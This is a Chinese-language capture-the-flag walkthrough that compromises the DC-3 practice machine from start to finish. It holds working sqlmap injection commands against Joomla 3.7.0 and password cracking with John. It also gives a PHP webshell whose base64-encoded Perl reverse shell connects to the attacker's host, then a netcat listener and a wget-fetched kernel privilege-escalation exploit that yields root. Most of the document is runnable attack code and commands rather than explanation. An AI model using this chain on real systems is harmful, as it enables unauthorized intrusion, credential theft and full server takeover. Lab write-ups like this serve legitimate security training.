文章目录
- 信息收集
- 主机扫描
- 端口扫描
- 目录扫描
- 漏洞查找
- Joomscan
- searchsploit
- 漏洞利用
- SQL注入
- 密码爆破
- 反弹shell
- 得到交互shell
- 提权
- 查看操作系统版本信息
- 搜索操作系统漏洞
- 利用exp提权
- 查找flag
信息收集
主机扫描
arp-scan -l
端口扫描
nmap -p- -A 192.168.16.162
-A
:扫描端口的详细信息。-p-
:使用-p-
参数表示对目标主机上的所有65535个端口进行扫描。这相当于指定了-p1-65535
,以便扫描目标主机的所有端口。
有80端口可用,还将该端口的详细信息给出了,用的是Joomla的cms
Joomla:是一套开源的内容管理系统(CMS),基于PHP和MySQL开发,构建灵活,功能强大。
目录扫描
dirsearch -u 192.168.16.162 -e * -i 200 #方法1
dirb http://192.168.16.162 #方法2
- dirsearch是一个基于python3的命令行工具,常用于暴力扫描页面结构,包括网页中的目录和文件。
- -u:使用 -u 参数指定要扫描的目标网址。
- -e *:使用 -e 参数指定要扫描的文件扩展名。这里使用 * 表示扫描所有的文件扩展名。也可以指定特定的文件扩展名,例如 -e php,txt,以限制扫描的文件类型。
- -i 200:使用 -i 参数指定要忽略的状态码。在这种情况下,参数值为 200,表示当响应的状态码为 200(成功)时,不显示输出结果。这通常用于隐藏有效的页面。
- -i 状态码:只显示该状态码。
- -x 状态码:不显示该状态码。
扫描到后台登录界面路径,查看web页面
后台登录网站:http://192.168.16.162/administrator/
漏洞查找
Joomscan
joomscan:joomscan是一款开源的且针对joomla的扫描器,kali可以用命令 apt install joomscan
安装该工具
启动joomscan
joomscan -u 要扫描的目标机的IP地址
joomscan -u 192.168.16.162 #-u:表示后面跟要扫描的路径
查看到joomla版本,还有一些目录和后台登入界面
searchsploit
searchsploit是一款kali自带的搜索漏洞信息的模块。https://blog.csdn.net/whatday/article/details/102806149
此网址为searchsploit工具使用指南
searchsploit joomla 3.7.0 #搜索joomla 3.7.0版本都有哪些漏洞
当前joomla存在SQL注入的漏洞,还有跨站扫描漏洞,还有该漏洞在本工具中漏洞利用文件位置
查看SQL注入的漏洞的完整路径命令:
searchsploit -p php/webapps/42033.txt #-p, --path [EDB-ID] 显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号
将漏洞的详细信息拷贝到桌面
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /root/Desktop/42033.txt
searchsploit给出了SQL注入漏洞的注入点
漏洞利用
SQL注入
利用sqlmap进行自动化注入
列出所有数据库
sqlmap -u "http://192.168.16.162/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --dbs
说明:
–level=5: 表示使用最深入的检测方法。更高的风险和级别设置可以提高检测的准确性,但也可能导致更多的请求和耗时。
–risk=3:执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全。
–random-agent:该选项是为了在HTTP请求头中添加随机的用户代理,以模拟不同的浏览器和用户。
-p list[fullordering]: -p 选项指定了要检测的参数,这里是 list[fullordering]。该参数可能存在SQL注入漏洞,因此 sqlmap 将尝试利用它来执行进一步的攻击。
–dbs:检测站点包含哪些数据库。sqlmap将尝试发现目标数据库系统并列出可用的数据库。
列出joomladb数据库中所有表
sqlmap -u "http://192.168.16.162/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables
列出表中所有字段
sqlmap -u "http://192.168.16.162/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' --columns
查看用户名和密码
sqlmap -u "http://192.168.16.162/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
该密文是加密后的,没有加密函数只能爆破密码
密码爆破
利用John工具,对该密码进行爆破拆解,先在桌面创建一个文件,将上面的hash密码复制进去并保存,接着使用John指向该文件。
vim mima
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
john /root/Desktop/mima
爆破出的密码为:snoopy
登录后台
反弹shell
反弹shell是一种用于在攻击者和目标计算机之间建立远程命令执行的连接的技术。当攻击者成功入侵目标系统并且目标系统的防火墙或安全设备限制了直接的远程连接时,反弹shell可以是一种有效的方式来获取对目标系统的远程控制权限。
下面是关于反弹shell的详细解析:
- 本地监听与远程连接:攻击者首先在自己的计算机上启动一个监听程序(例如Netcat),该程序将监听指定的端口。然后,攻击者通过利用漏洞、社会工程等手段成功入侵目标系统,并在目标上运行一个恶意软件(如web shell)。
- 目标主机发起连接:一旦恶意软件在目标系统上运行,它将尝试连接到攻击者的计算机上的监听程序。这个连接可以是TCP连接、反向SSH隧道或其他可用的方法。
- 连接建立与交互:当目标主机成功连接到攻击者的计算机时,建立了一个双向通信通道。攻击者现在可以通过该通道向目标主机发送命令,并从目标主机接收响应。由于这是一个交互式的连接,攻击者可以执行各种操作,包括文件操作、系统命令执行、数据传输等。
这个文件上传有过滤,可以自己创建一个文件,写入木马直接使用反弹shell
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.16.132";
$yourport = '6666';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
save保存,保存就上传成功了,再根据joomla的特性,模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的webshell路径为
http://192.168.16.162/templates/beez3/webshell.php
kali坚挺的端口6666
nc -lvvp 6666
解析:这是一个用于创建一个本地监听器的命令,它使用的是Netcat(nc)工具。
- -l:表示监听模式,用于创建一个监听器来接收传入的连接。
- -v:表示详细模式(verbose mode),用于显示更多的输出信息,包括连接细节和数据传输。
- -p:指定要监听的端口号,这里设定为6666,即监听流量传输到该端口。
然后访问上传的文件webshell的地址,执行反弹shell的PHP代码。
http://192.168.16.162/templates/beez3/webshell.php
回到监听的终端
获得反弹shell
得到交互shell
python -c "import pty;pty.spawn('/bin/bash')"
python3 -c 'import pty; pty.spawn("/bin/bash")'
因版本不同如果第一条使用无效可使用第二条
虽然获得了交互式的shell,但是还不是root权限
提权
查看操作系统版本信息
tac /etc/issue
- /etc/issue.net 是一个文本文件,它包含了在登录提示符出现之前显示的信息或者系统标识。
搜索操作系统漏洞
打开新终端,使用searchsploit工具搜索系统中存在的漏洞
searchsploit Ubuntu 16.04
Privilege Escalation(提权),这里使用通用版本4.4.x版本的提权方式,完整path。
使用find命令查找路径
find / -name '39772.txt'
/usr/share/exploitdb/exploits/linux/local/39772.txt
也可以使用
searchsploit -p linux/local/39772.txt
说明:-p
: --path [EDB-ID] 显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号。
查看文件内容
vim /usr/share/exploitdb/exploits/linux/local/39772.txt
文本中写的是漏洞产生的原因、描述和漏洞利用的方法,还附上了exp,就是最后一行的连接。
下载地址:https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
。
利用exp提权
下载该压缩包并放到kali桌面,解压该文件
在桌面打开终端打开http服务,将下载好的文件导入到DC-3靶机里。
python3 -m http.server 666
这个命令用于在当前目录下启动一个简单的 HTTP 服务器,以便通过浏览器或其他 HTTP 客户端访问本地文件。
通过在终端中执行 python3 -m http.server 6666 命令,将会在当前目录下启动一个 HTTP 服务器。该服务器会监听本地的 6666 端口,并向客户端提供文件传输服务。可以通过浏览器或其他 HTTP 客户端访问该服务器,并浏览、下载当前目录下的文件(在本例中可以下载当前桌面下的文件)。
注意:默认情况下,该服务器将使用无需身份验证的简单 HTTP。这意味着任何能够连接到服务器的人都可以查看目录中的文件
浏览器访问一下开启的http服务。
exp地址是
http://192.168.16.132:666/39772/exploit.tar
wget http://192.168.16.132:666/39772/exploit.tar
解压
tar -xvf exploit.tar
进入解压后的文件夹
cd ebpf_mapfd_doubleput_exploit
ls
在当前目录下执行compile.sh、doubleput两个文件后获得root权限
./compile.sh
./doubleput
查找flag
cd /root
cat the-flag.txt